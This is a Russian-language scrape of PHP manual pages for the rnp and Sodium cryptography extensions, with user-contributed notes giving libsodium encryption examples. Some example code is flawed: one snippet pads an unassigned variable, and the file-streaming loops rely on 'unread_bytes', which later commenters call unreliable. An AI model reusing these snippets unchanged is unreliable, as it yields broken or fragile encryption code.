There are no user contributed notes for this page.


Сохраняет ключи по указанному пути

  • « rnp_op_verify
  • rnp_save_keys »
  • PHP Manual
  • Функции Rnp
  • Сохраняет ключи по указанному пути

rnp_save_keys_to_path

(PECL rnp >= 0.1.1)

rnp_save_keys_to_path — Сохраняет ключи по указанному пути

Описание

rnp_save_keys_to_path(
RnpFFI $ffi,
string $format,
string $output_path,
int $flags
): bool

Сохраняет ключи, присутствующие в объекте FFI (загруженном или сгенерированном), в указанном файле или каталоге.

Список параметров

ffi

Объект FFI, возвращаемый функцией rnp_ffi_create.

format

Формат ключа данных (GPG, KBX, G10).

output_path

Путь к файлу или каталогу, в который должны быть сохранены ключи.

flags

Смотрите описание флагов RNP_LOAD_SAVE_*.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Сохраняет ключи в строке PHP

  • « rnp_save_keys_to_path
  • rnp_supported_features »
  • PHP Manual
  • Функции Rnp
  • Сохраняет ключи в строке PHP

rnp_save_keys

(PECL rnp >= 0.1.1)

rnp_save_keys — Сохраняет ключи в строке PHP

Описание

rnp_save_keys(
RnpFFI $ffi,
string $format,
string &$output,
int $flags
): bool

Обратите внимание, что для G10 значением output должен быть каталог (который уже должен существовать).

Список параметров

ffi

Объект FFI, возвращаемый функцией rnp_ffi_create.

format

Формат ключа данных (GPG, KBX, G10).

output

Ключевые пакеты будут сохранены в строке, на которую ссылается output.

flags

Смотрите описание флагов RNP_LOAD_SAVE_*.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Получает поддерживаемые функции в формате JSON

  • « rnp_save_keys
  • rnp_version_string_full »
  • PHP Manual
  • Функции Rnp
  • Получает поддерживаемые функции в формате JSON

rnp_supported_features

(PECL rnp >= 0.1.1)

rnp_supported_features — Получает поддерживаемые функции в формате JSON

Описание

rnp_supported_features(string $type): string|false

Получение строки в формате JSON, содержащей массив поддерживаемых значений признаков rnp (алгоритмов, кривых и т.д.) по типам.

Список параметров

type

Поддерживаемые значения смотрите в константах RNP_FEATURE_*.

Возвращаемые значения

Возвращает строку, содержащую JSON-форматированный массив поддерживаемых алгоритмов, кривых и т.д. или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает строку полной версии библиотеки RNP

  • « rnp_supported_features
  • rnp_version_string »
  • PHP Manual
  • Функции Rnp
  • Возвращает строку полной версии библиотеки RNP

rnp_version_string_full

(PECL rnp >= 0.1.1)

rnp_version_string_full — Возвращает строку полной версии библиотеки RNP

Описание

rnp_version_string_full(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку полной версии библиотеки RNP.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает строку версии библиотеки RNP

  • « rnp_version_string_full
  • RnpFFI »
  • PHP Manual
  • Функции Rnp
  • Возвращает строку версии библиотеки RNP

rnp_version_string

(PECL rnp >= 0.1.1)

rnp_version_string — Возвращает строку версии библиотеки RNP

Описание

rnp_version_string(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку версии библиотеки RNP.

User Contributed Notes

There are no user contributed notes for this page.


Класс RnpFFI

(PECL rnp >= 0.1.1)

Введение

Обзор классов

class RnpFFI {
}

User Contributed Notes

There are no user contributed notes for this page.


Sodium

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Функции Sodium
    • sodium_add — Добавляет большие числа
    • sodium_base642bin — Преобразует строку в кодировке base64 в необработанный двоичный файл
    • sodium_bin2base64 — Кодирует необработанную двоичную строку с помощью base64
    • sodium_bin2hex — Кодировать в шестнадцатеричное представление
    • sodium_compare — Сравнить большие числа
    • sodium_crypto_aead_aes256gcm_decrypt — Проверяет и расшифровывает сообщение с помощью AES-256-GCM
    • sodium_crypto_aead_aes256gcm_encrypt — Шифрует, а затем проверяет подлинность с помощью AES-256-GCM
    • sodium_crypto_aead_aes256gcm_is_available — Проверить, поддерживает ли оборудование AES256-GCM
    • sodium_crypto_aead_aes256gcm_keygen — Создаёт случайный ключ AES-256-GCM
    • sodium_crypto_aead_chacha20poly1305_decrypt — Проверяет, затем расшифровывает с помощью ChaCha20-Poly1305
    • sodium_crypto_aead_chacha20poly1305_encrypt — Шифрует, а затем проверяет подлинность с помощью ChaCha20-Poly1305
    • sodium_crypto_aead_chacha20poly1305_ietf_decrypt — Проверить, что зашифрованный текст содержит допустимый тег
    • sodium_crypto_aead_chacha20poly1305_ietf_encrypt — Зашифровать сообщение
    • sodium_crypto_aead_chacha20poly1305_ietf_keygen — Создаёт случайный ключ ChaCha20-Poly1305 (IETF)
    • sodium_crypto_aead_chacha20poly1305_keygen — Создаёт случайный ключ ChaCha20-Poly1305
    • sodium_crypto_aead_xchacha20poly1305_ietf_decrypt — (Предпочтительно) Проверяет, затем расшифровывает с помощью XChaCha20-Poly1305
    • sodium_crypto_aead_xchacha20poly1305_ietf_encrypt — (Предпочтительно) Шифрует, а затем проверяет подлинность с помощью XChaCha20-Poly1305
    • sodium_crypto_aead_xchacha20poly1305_ietf_keygen — Создаёт случайный ключ XChaCha20-Poly1305
    • sodium_crypto_auth_keygen — Создаёт случайный ключ для sodium_crypto_auth
    • sodium_crypto_auth_verify — Проверяет, допустим ли тег для сообщения
    • sodium_crypto_auth — Вычислить тег для сообщения
    • sodium_crypto_box_keypair_from_secretkey_and_publickey — Создаёт унифицированную строку ключевой пары из секретного и открытого ключей
    • sodium_crypto_box_keypair — Сгенерировать случайным образом секретный ключ и соответствующий ему открытый ключ
    • sodium_crypto_box_open — Расшифровка открытого ключа с проверкой подлинности
    • sodium_crypto_box_publickey_from_secretkey — Вычисляет открытый ключ из секретного ключа
    • sodium_crypto_box_publickey — Извлекает открытый ключ из ключевой пары crypto_box
    • sodium_crypto_box_seal_open — Расшифровка открытым ключом без проверки подлинности
    • sodium_crypto_box_seal — Шифрование открытым ключом без проверки подлинности
    • sodium_crypto_box_secretkey — Извлекает секретный ключ из ключевой пары crypto_box
    • sodium_crypto_box_seed_keypair — Детерминистический вывод ключевой пары из одного ключа
    • sodium_crypto_box — Шифрование открытым ключом с проверкой подлинности
    • sodium_crypto_core_ristretto255_add — Добавляет элемент
    • sodium_crypto_core_ristretto255_from_hash — Сопоставляет вектор
    • sodium_crypto_core_ristretto255_is_valid_point — Определяет, лежит ли точка на кривой ristretto255
    • sodium_crypto_core_ristretto255_random — Генерирует случайный ключ
    • sodium_crypto_core_ristretto255_scalar_add — Добавляет скалярное значение
    • sodium_crypto_core_ristretto255_scalar_complement — Назначение sodium_crypto_core_ristretto255_scalar_complement
    • sodium_crypto_core_ristretto255_scalar_invert — Инвертирует скалярное значение
    • sodium_crypto_core_ristretto255_scalar_mul — Умножает скалярное значение
    • sodium_crypto_core_ristretto255_scalar_negate — Отменяет скалярное значение
    • sodium_crypto_core_ristretto255_scalar_random — Генерирует случайный ключ
    • sodium_crypto_core_ristretto255_scalar_reduce — Уменьшает скалярное значение
    • sodium_crypto_core_ristretto255_scalar_sub — Вычитает скалярное значение
    • sodium_crypto_core_ristretto255_sub — Вычитает элемент
    • sodium_crypto_generichash_final — Закончить хеширование
    • sodium_crypto_generichash_init — Инициализирует хеш для потоковой передачи
    • sodium_crypto_generichash_keygen — Создаёт случайный общий хеш-ключ
    • sodium_crypto_generichash_update — Добавить сообщение к хешу
    • sodium_crypto_generichash — Получить хеш сообщения
    • sodium_crypto_kdf_derive_from_key — Извлечь подраздел
    • sodium_crypto_kdf_keygen — Создаёт случайный корневой ключ для интерфейса KDF
    • sodium_crypto_kx_client_session_keys — Вычисляет ключи сессии на стороне клиента
    • sodium_crypto_kx_keypair — Создаёт новую пару ключей sodium
    • sodium_crypto_kx_publickey — Извлекает открытый ключ из пары ключей crypto_kx
    • sodium_crypto_kx_secretkey — Извлекает секретный ключ из пары ключей crypto_kx
    • sodium_crypto_kx_seed_keypair — Описание
    • sodium_crypto_kx_server_session_keys — Вычисляет ключи сессии на стороне сервера
    • sodium_crypto_pwhash_scryptsalsa208sha256_str_verify — Проверить, что пароль является действительной строкой проверки пароля
    • sodium_crypto_pwhash_scryptsalsa208sha256_str — Получить закодированный в ASCII хеш
    • sodium_crypto_pwhash_scryptsalsa208sha256 — Получает ключ из пароля, используя scrypt
    • sodium_crypto_pwhash_str_needs_rehash — Определяет, следует ли повторно использовать пароль
    • sodium_crypto_pwhash_str_verify — Проверяет, что пароль соответствует хешу
    • sodium_crypto_pwhash_str — Получить ASCII-кодированный хеш
    • sodium_crypto_pwhash — Получает ключ из пароля, используя Argon2
    • sodium_crypto_scalarmult_base — Псевдоним sodium_crypto_box_publickey_from_secretkey
    • sodium_crypto_scalarmult_ristretto255_base — Вычисляет открытый ключ из закрытого ключа
    • sodium_crypto_scalarmult_ristretto255 — Вычисляет общий секрет
    • sodium_crypto_scalarmult — Вычислить общий секрет на основании секретного ключа пользователя и открытого ключа другого пользователя
    • sodium_crypto_secretbox_keygen — Создаёт случайный ключ для sodium_crypto_secretbox
    • sodium_crypto_secretbox_open — Расшифровка с использованием общего ключа с проверкой подлинности
    • sodium_crypto_secretbox — Шифрование с общим ключом с проверкой подлинности
    • sodium_crypto_secretstream_xchacha20poly1305_init_pull — Инициализирует контекст secretstream для дешифрования
    • sodium_crypto_secretstream_xchacha20poly1305_init_push — Инициализирует контекст secretstream для шифрования
    • sodium_crypto_secretstream_xchacha20poly1305_keygen — Создаёт случайный ключ secretstream
    • sodium_crypto_secretstream_xchacha20poly1305_pull — Расшифровывает часть данных из зашифрованного потока
    • sodium_crypto_secretstream_xchacha20poly1305_push — Шифрует фрагмент данных, чтобы его можно было безопасно расшифровать в потоковом API
    • sodium_crypto_secretstream_xchacha20poly1305_rekey — Явно поворачивает ключ в состояние secretstream
    • sodium_crypto_shorthash_keygen — Получить случайные байты для ключа
    • sodium_crypto_shorthash — Вычисляет короткий хеш сообщения и ключ
    • sodium_crypto_sign_detached — Подписать сообщение
    • sodium_crypto_sign_ed25519_pk_to_curve25519 — Преобразование открытого ключа системы Ed25519 в открытый ключ Curve25519
    • sodium_crypto_sign_ed25519_sk_to_curve25519 — Преобразовать секретный ключ из системы Ed25519 в секретный ключ Curve25519
    • sodium_crypto_sign_keypair_from_secretkey_and_publickey — Объединяет секретный ключ и открытый ключ вместе
    • sodium_crypto_sign_keypair — Произвольно сгенерировать секретный ключ и соответствующий открытый ключ
    • sodium_crypto_sign_open — Проверить, что подписанное сообщение имеет корректную подпись
    • sodium_crypto_sign_publickey_from_secretkey — Извлекает открытый ключ Ed25519 из секретного ключа
    • sodium_crypto_sign_publickey — Извлекает открытый ключ Ed25519 из пары ключей
    • sodium_crypto_sign_secretkey — Извлекает секретный ключ Ed25519 из пары ключей
    • sodium_crypto_sign_seed_keypair — Детерминированный вывод пары ключей из одного ключа
    • sodium_crypto_sign_verify_detached — Проверить подпись для сообщения
    • sodium_crypto_sign — Подписать сообщение
    • sodium_crypto_stream_keygen — Генерирует случайный ключ sodium_crypto_stream
    • sodium_crypto_stream_xchacha20_keygen — Возвращает безопасный случайный ключ
    • sodium_crypto_stream_xchacha20_xor_ic — Шифрует сообщение, используя неясный код и секретный ключ (без аутентификации)
    • sodium_crypto_stream_xchacha20_xor — Шифрует сообщение, используя одноразовый номер и секретный ключ (без аутентификации)
    • sodium_crypto_stream_xchacha20 — Расширяет ключ и одноразовый номер в ключевой поток псевдослучайных байтов
    • sodium_crypto_stream_xor — Шифрует сообщение без аутентификации
    • sodium_crypto_stream — Создаёт детерминированную последовательность байтов из начального числа
    • sodium_hex2bin — Декодирует строку в шестнадцатеричном представлении в бинарное
    • sodium_increment — Увеличить на единицу большое число
    • sodium_memcmp — Проверка на равенство за постоянное количество времени
    • sodium_memzero — Перезаписывает строку символами NULL
    • sodium_pad — Дополняет строку отступами
    • sodium_unpad — Удаление данных отступов
  • SodiumException — Класс SodiumException

User Contributed Notes

Chris 02-May-2018 08:04
Libsodium documentation: https://github.com/paragonie/pecl-libsodium-doc


Введение

Sodium - это современная, простая в использовании программная библиотека для шифрования, дешифрования, подписи, хеширования паролей и многого другого. Цель библиотеки - обеспечить все основные операции, необходимые для создания криптографических инструментов более высокого уровня.

User Contributed Notes

Sander 03-Sep-2018 01:30
When using the stream_get_meta_data() function, the manual states not to use the value of 'unread_bytes' in a script, which lead to a non functioning script in my environment. I guess you'd rather use the value of 'eof'. Or, even better, use the feof() function.
Anonymous 01-May-2018 12:30
Clearly there isn't much support or documentation for this yet.

Based off the same safeEncrypt implementation here and elsewhere, I updated it to work for me (I'm running libsodium 1.0.8).

I added these methods to a utility class.

<?php

// simple example
$message = 'My ultra-sensitive information';

$secret_key = Util::generateSecretKey();
$encrypted = Util::encrypt($message, $secret_key, 64);
$decrypted = Util::decrypt($encrypted, $secret_key, 64);

print $decrypted;

// outputs 'My ultra-sensitive information'
// encrypted data is padded to 64-byte chunks to obfuscate actual data length

class Util
{
    /**
     * Get a secret key for encrypt/decrypt
     *
     * Use libsodium to generate a secret key.  This should be kept secure.
     *
     * @return string
     * @see encrypt(), decrypt()
     */
    public static function generateSecretKey()
    {
        return sodium_crypto_secretbox_keygen();
    }

    /**
     * Encrypt a message
     *
     * Use libsodium to encrypt a string
     *
     * @param string $message - message to encrypt
     * @param string $secret_key - encryption key
     * @param int $block_size - pad the message by $block_size byte chunks to conceal encrypted data size. must match between encrypt/decrypt!
     * @return string
     * @see decrypt()
     * @see https://github.com/jedisct1/libsodium/issues/392
     */
    public static function encrypt($message, $secret_key, $block_size = 1)
    {
        // create a nonce for this operation. it will be stored and recovered in the message itself
        $nonce = random_bytes(SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);

        // pad to $block_size byte chunks (enforce 512 byte limit)
        $padded_message = sodium_pad($message, $block_size <= 512 ? $block_size : 512);

        // encrypt message and combine with nonce
        $cipher = base64_encode($nonce . sodium_crypto_secretbox($padded_message, $nonce, $secret_key));

        // cleanup
        sodium_memzero($message);
        sodium_memzero($secret_key);

        return $cipher;
    }

    /**
     * Decrypt a message
     *
     * Use libsodium to decrypt an encrypted string
     *
     * @param string $encrypted - the encrypted message
     * @param string $key - encryption key
     * @param int $block_size - pad the message by $block_size byte chunks to conceal encrypted data size. must match between encrypt/decrypt!
     * @return string
     * @see encrypt()
     * @see https://github.com/jedisct1/libsodium/issues/392
     */
    public static function decrypt($encrypted, $secret_key, $block_size = 1)
    {
        // unpack base64 message
        $decoded = base64_decode($encrypted);

        // check for general failures
        if ($decoded === false) {
            throw new \Exception('The encoding failed');
        }

        // check for incomplete message. CRYPTO_SECRETBOX_MACBYTES doesn't seem to exist in this version...
        if (!defined('CRYPTO_SECRETBOX_MACBYTES')) define('CRYPTO_SECRETBOX_MACBYTES', 16);
        if (mb_strlen($decoded, '8bit') < (SODIUM_CRYPTO_SECRETBOX_NONCEBYTES + CRYPTO_SECRETBOX_MACBYTES)) {
            throw new \Exception('The message was truncated');
        }

        // pull nonce and ciphertext out of unpacked message
        $nonce = mb_substr($decoded, 0, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES, '8bit');
        $ciphertext = mb_substr($decoded, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES, null, '8bit');

        // decrypt it and account for extra padding from $block_size (enforce 512 byte limit)
        $decrypted_padded_message = sodium_crypto_secretbox_open($ciphertext, $nonce, $secret_key);
        $message = sodium_unpad($decrypted_padded_message, $block_size <= 512 ? $block_size : 512);

        // check for encrpytion failures
        if ($message === false) {
             throw new \Exception('The message was tampered with in transit');
        }

        // cleanup
        sodium_memzero($ciphertext);
        sodium_memzero($secret_key);

        return $message;
    }

}

?>
jedisct1 at php dot net 22-Dec-2017 09:37
You may want to use `feof($fd_in)` instead of `stream_get_meta_data($fd_in)['unread_bytes'] <= 0` in the examples above.

Or just read the documentation of the PHP extension here: https://github.com/jedisct1/libsodium-php -- it is always more up to date.
jedisct1 at php dot net 15-Dec-2017 08:53
With sensitive data, use `sodium_bin2base64()` and `sodium_base642bin()` than `base64_encode()` and `base64_decode()`.

The sodium functions provide better protection against side channels, are more flexible, and perform stricter validation.
jedisct1 at php dot net 15-Dec-2017 08:47
## Encrypt a file using a key derived from a password:

<?php
$password = 'password';
$input_file = '/tmp/example.original';
$encrypted_file = '/tmp/example.enc';
$chunk_size = 4096;

$alg = SODIUM_CRYPTO_PWHASH_ALG_DEFAULT;
$opslimit = SODIUM_CRYPTO_PWHASH_OPSLIMIT_MODERATE;
$memlimit = SODIUM_CRYPTO_PWHASH_MEMLIMIT_MODERATE;
$salt = random_bytes(SODIUM_CRYPTO_PWHASH_SALTBYTES);

$secret_key = sodium_crypto_pwhash(SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_KEYBYTES,
                                   $password, $salt, $opslimit, $memlimit, $alg);

$fd_in = fopen($input_file, 'rb');
$fd_out = fopen($encrypted_file, 'wb');

fwrite($fd_out, pack('C', $alg));
fwrite($fd_out, pack('P', $opslimit));
fwrite($fd_out, pack('P', $memlimit));
fwrite($fd_out, $salt);

list($stream, $header) = sodium_crypto_secretstream_xchacha20poly1305_init_push($secret_key);

fwrite($fd_out, $header);

$tag = SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_MESSAGE;
do {
    $chunk = fread($fd_in, $chunk_size);
    if (stream_get_meta_data($fd_in)['unread_bytes'] <= 0) {
        $tag = SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL;
    }
    $encrypted_chunk = sodium_crypto_secretstream_xchacha20poly1305_push($stream, $chunk, '', $tag);
    fwrite($fd_out, $encrypted_chunk);
} while ($tag !== SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL);

fclose($fd_out);
fclose($fd_in);
?>

Read the stored parameters and decrypt the file:

<?php
$decrypted_file = '/tmp/example.dec';

$fd_in = fopen($encrypted_file, 'rb');
$fd_out = fopen($decrypted_file, 'wb');

$alg = unpack('C', fread($fd_in, 1))[1];
$opslimit = unpack('P', fread($fd_in, 8))[1];
$memlimit = unpack('P', fread($fd_in, 8))[1];
$salt = fread($fd_in, SODIUM_CRYPTO_PWHASH_SALTBYTES);

$header = fread($fd_in, SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES);

$secret_key = sodium_crypto_pwhash(SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_KEYBYTES,
                                   $password, $salt, $opslimit, $memlimit, $alg);

$stream = sodium_crypto_secretstream_xchacha20poly1305_init_pull($header, $secret_key);

$tag = SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_MESSAGE;
while (stream_get_meta_data($fd_in)['unread_bytes'] > 0 &&
       $tag !== SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL) {
    $chunk = fread($fd_in, $chunk_size + SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES);
    $res = sodium_crypto_secretstream_xchacha20poly1305_pull($stream, $chunk);
    if ($res === FALSE) {
       break;
    }
    list($decrypted_chunk, $tag) = $res;
    fwrite($fd_out, $decrypted_chunk);
}
$ok = stream_get_meta_data($fd_in)['unread_bytes'] <= 0;

fclose($fd_out);
fclose($fd_in);

if (!$ok) {
    die('Invalid/corrupted input');
}
?>

How it works:

A password cannot be directly used as a secret key. Passwords are
short, must be typable on a keyboard, and people who don't use a
password manager should be able to remember them.

A 8 characters password is thus way weaker than a 8 bytes key.

The `sodium_crypto_pwhash()` function perform a computationally
intensive operation on a password in order to derive a secret key.

By doing do, brute-forcing all possible passwords in order to find the
secret key used to encrypt the data becomes an expensive operation.

Multiple algorithms can be used to derive a key from a password, and
for each of them, different parameters can be chosen. It is important
to store all of these along with encrypted data. Using the same
algorithm and the same parameters, the same secret key can be
deterministically recomputed.
jedisct1 at php dot net 15-Dec-2017 08:46
## Encrypt a file using a secret key

<?php
$secret_key = sodium_crypto_secretstream_xchacha20poly1305_keygen();
$input_file = '/tmp/example.original';
$encrypted_file = '/tmp/example.enc';
$chunk_size = 4096;

$fd_in = fopen($input_file, 'rb');
$fd_out = fopen($encrypted_file, 'wb');

list($stream, $header) = sodium_crypto_secretstream_xchacha20poly1305_init_push($secret_key);

fwrite($fd_out, $header);

$tag = SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_MESSAGE;
do {
    $chunk = fread($fd_in, $chunk_size);
    if (stream_get_meta_data($fd_in)['unread_bytes'] <= 0) {
        $tag = SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL;
    }
    $encrypted_chunk = sodium_crypto_secretstream_xchacha20poly1305_push($stream, $chunk, '', $tag);
    fwrite($fd_out, $encrypted_chunk);
} while ($tag !== SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL);

fclose($fd_out);
fclose($fd_in);
?>

Decrypt the file:

<?php
$decrypted_file = '/tmp/example.dec';

$fd_in = fopen($encrypted_file, 'rb');
$fd_out = fopen($decrypted_file, 'wb');

$header = fread($fd_in, SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES);

$stream = sodium_crypto_secretstream_xchacha20poly1305_init_pull($header, $secret_key);

$tag = SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_MESSAGE;
while (stream_get_meta_data($fd_in)['unread_bytes'] > 0 &&
       $tag !== SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL) {
    $chunk = fread($fd_in, $chunk_size + SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES);
    list($decrypted_chunk, $tag) = sodium_crypto_secretstream_xchacha20poly1305_pull($stream, $chunk);
    fwrite($fd_out, $decrypted_chunk);
}
$ok = stream_get_meta_data($fd_in)['unread_bytes'] <= 0;

fclose($fd_out);
fclose($fd_in);

if (!$ok) {
    die('Invalid/corrupted input');
}
?>

How it works:

There's a little bit more code than in the previous examples.

In fact, `crypto_secretbox()` would work to encrypt as file, but only
if that file is pretty small. Since we have to provide the entire
content as a string, it has to fit in memory.

If the file is large, we can split it into small chunks, and encrypt
chunks individually.

By doing do, we can encrypt arbitrary large files. But we need to make
sure that chunks cannot be deleted, truncated, duplicated and
reordered. In other words, we don't have a single "message", but a
stream of messages, and during the decryption process, we need a way
to check that the whole stream matches what we encrypted.

So we create a new stream (`init_push`) and push a sequence of messages
into it (`push`). Each individual message has a tag attached to it, by
default `TAG_MESSAGE`. In order for the decryption process to know
where the end of the stream is, we tag the last message with the
`TAG_FINAL` tag.

When we consume the stream (`init_pull`, then `pull` for each
message), we check that they can be properly decrypted, and retrieve
both the decrypted chunks and the attached tags. If we read the last
chunk (`TAG_FINAL`) and we are at the end of the file, we know that we
completely recovered the original stream.
jedisct1 at php dot net 15-Dec-2017 08:44
## Encrypt a single message using a secret key

Encryption:

```php
$secret_key = sodium_crypto_secretbox_keygen();
$message = 'Sensitive information';

$nonce = random_bytes(SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);
$encrypted_message = sodium_crypto_secretbox($message, $nonce, $secret_key);
```

Decryption:

```php
$decrypted_message = sodium_crypto_secretbox_open($encrypted_message, $nonce, $secret_key);
```

How it works:

`$secret_key` is a secret key. Not a password. It's binary data, not
something designed to be human readable, but rather to have a key
space as large as possible for a given length.
The `keygen()` function creates such a key. That has to remain secret,
as it is used both to encrypt and decrypt data.

`$nonce` is a unique value. Like the secret, its length is fixed. But
it doesn't have to be secret, and can be sent along with the encrypted
message. The nonce doesn't have to be unpredicable either. It just has
to be unique for a given key. With the `secretbox()` API, using
`random_bytes()` is a totally fine way to generate nonces.

Encrypted messages are slightly larger than unencrypted messages,
because they include an authenticator, used by the decryption function
to check that the content was not altered.

## Encrypt a single message using a secret key, and hide its length

Encryption:

```php
$secret_key = sodium_crypto_secretbox_keygen();
$message = 'Sensitive information';
$block_size = 16;

$nonce = random_bytes(SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);
$padded_message = sodium_pad($padded_message, $block_size);
$encrypted_message = sodium_crypto_secretbox($padded_message, $nonce, $secret_key);
```

Decryption:

```php
$decrypted_padded_message = sodium_crypto_secretbox_open($encrypted_message, $nonce, $secret_key);
$decrypted_message = sodium_unpad($decrypted_padded_message, $block_size);
```

How it works:

Sometimes, the length of a message may provide a lot of information
about its nature. If a message is one of "yes", "no" and "maybe",
encrypting the message doesn't help: knowing the length is enough to
know what the message is.

Padding is a technique to mitigate this, by making the length a
multiple of a given block size.

Messages must be padded prior to encryption, and unpadded after
decryption.
rafayhingoro at hotmail dot com 10-Dec-2017 06:26
<?php
//Simple Usage

/**
 * Encrypt a message
 *
 * @param string $message - message to encrypt
 * @param string $key - encryption key
 * @return string
 */
function safeEncrypt($message, $key)
{
    $nonce = random_bytes(
        SODIUM_CRYPTO_SECRETBOX_NONCEBYTES
    );

    $cipher = base64_encode(
        $nonce.
        sodium_crypto_secretbox(
            $message,
            $nonce,
            $key
        )
    );
    sodium_memzero($message);
    sodium_memzero($key);
    return $cipher;
}

/**
 * Decrypt a message
 *
 * @param string $encrypted - message encrypted with safeEncrypt()
 * @param string $key - encryption key
 * @return string
 */
function safeDecrypt($encrypted, $key)
{
    $decoded = base64_decode($encrypted);
    if ($decoded === false) {
        throw new Exception('Scream bloody murder, the encoding failed');
    }
    if (mb_strlen($decoded, '8bit') < (SODIUM_CRYPTO_SECRETBOX_NONCEBYTES + SODIUM_CRYPTO_SECRETBOX_MACBYTES)) {
        throw new Exception('Scream bloody murder, the message was truncated');
    }
    $nonce = mb_substr($decoded, 0, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES, '8bit');
    $ciphertext = mb_substr($decoded, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES, null, '8bit');

    $plain = sodium_crypto_secretbox_open(
        $ciphertext,
        $nonce,
        $key
    );
    if ($plain === false) {
         throw new Exception('the message was tampered with in transit');
    }
    sodium_memzero($ciphertext);
    sodium_memzero($key);
    return $plain;
}
//Encrypt & Decrypt your message
$key = sodium_crypto_secretbox_keygen();
$enc = safeEncrypt('Abdul Rafay Hingoro', $key); //generates random  encrypted string (Base64 related)
echo $enc;
echo '<br>';
$dec = safeDecrypt($enc, $key); //decrypts encoded string generated via safeEncrypt function
echo $dec;
?>

//Output
DEx9ATXEg/eRq8GWD3NT5BatB3m31WEDEYLK2V4L0Am5GZGoa2rvYWUpoUeCrm7W/pdgLJrNoE6AA8U=
Abdul Rafay Hingoro


Требования

Для модуля требуется » libsodium ? 1.0.8.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Начиная с PHP 7.2.0, модуль включён в PHP. Для более старых версий PHP модуль доступен через PECL.

Linux Systems

Для того, чтобы использовать модуль, вам нужно скомпилировать PHP с поддержкой sodium, используя конфигурационную опцию --with-sodium[=DIR].

Windows

Для того, чтобы использовать модуль, вам нужно добавить extension=php_sodium.dll в файл php.ini.

Установка через PECL

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/libsodium

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

SODIUM_LIBRARY_VERSION (string)
SODIUM_LIBRARY_MAJOR_VERSION (int)
SODIUM_LIBRARY_MINOR_VERSION (int)
SODIUM_CRYPTO_AEAD_AES256GCM_KEYBYTES (int)
SODIUM_CRYPTO_AEAD_AES256GCM_NSECBYTES (int)
SODIUM_CRYPTO_AEAD_AES256GCM_NPUBBYTES (int)
SODIUM_CRYPTO_AEAD_AES256GCM_ABYTES (int)
SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES (int)
SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_NSECBYTES (int)
SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES (int)
SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_ABYTES (int)
SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES (int)
SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_NSECBYTES (int)
SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES (int)
SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_ABYTES (int)
SODIUM_CRYPTO_AUTH_BYTES (int)
SODIUM_CRYPTO_AUTH_KEYBYTES (int)
SODIUM_CRYPTO_BOX_SEALBYTES (int)
SODIUM_CRYPTO_BOX_SECRETKEYBYTES (int)
SODIUM_CRYPTO_BOX_PUBLICKEYBYTES (int)
SODIUM_CRYPTO_BOX_KEYPAIRBYTES (int)
SODIUM_CRYPTO_BOX_MACBYTES (int)
SODIUM_CRYPTO_BOX_NONCEBYTES (int)
SODIUM_CRYPTO_BOX_SEEDBYTES (int)
SODIUM_CRYPTO_KDF_BYTES_MIN (int)
SODIUM_CRYPTO_KDF_BYTES_MAX (int)
SODIUM_CRYPTO_KDF_CONTEXTBYTES (int)
SODIUM_CRYPTO_KDF_KEYBYTES (int)
SODIUM_CRYPTO_KX_SEEDBYTES (int)
SODIUM_CRYPTO_KX_SESSIONKEYBYTES (int)
SODIUM_CRYPTO_KX_PUBLICKEYBYTES (int)
SODIUM_CRYPTO_KX_SECRETKEYBYTES (int)
SODIUM_CRYPTO_KX_KEYPAIRBYTES (int)
SODIUM_CRYPTO_GENERICHASH_BYTES (int)
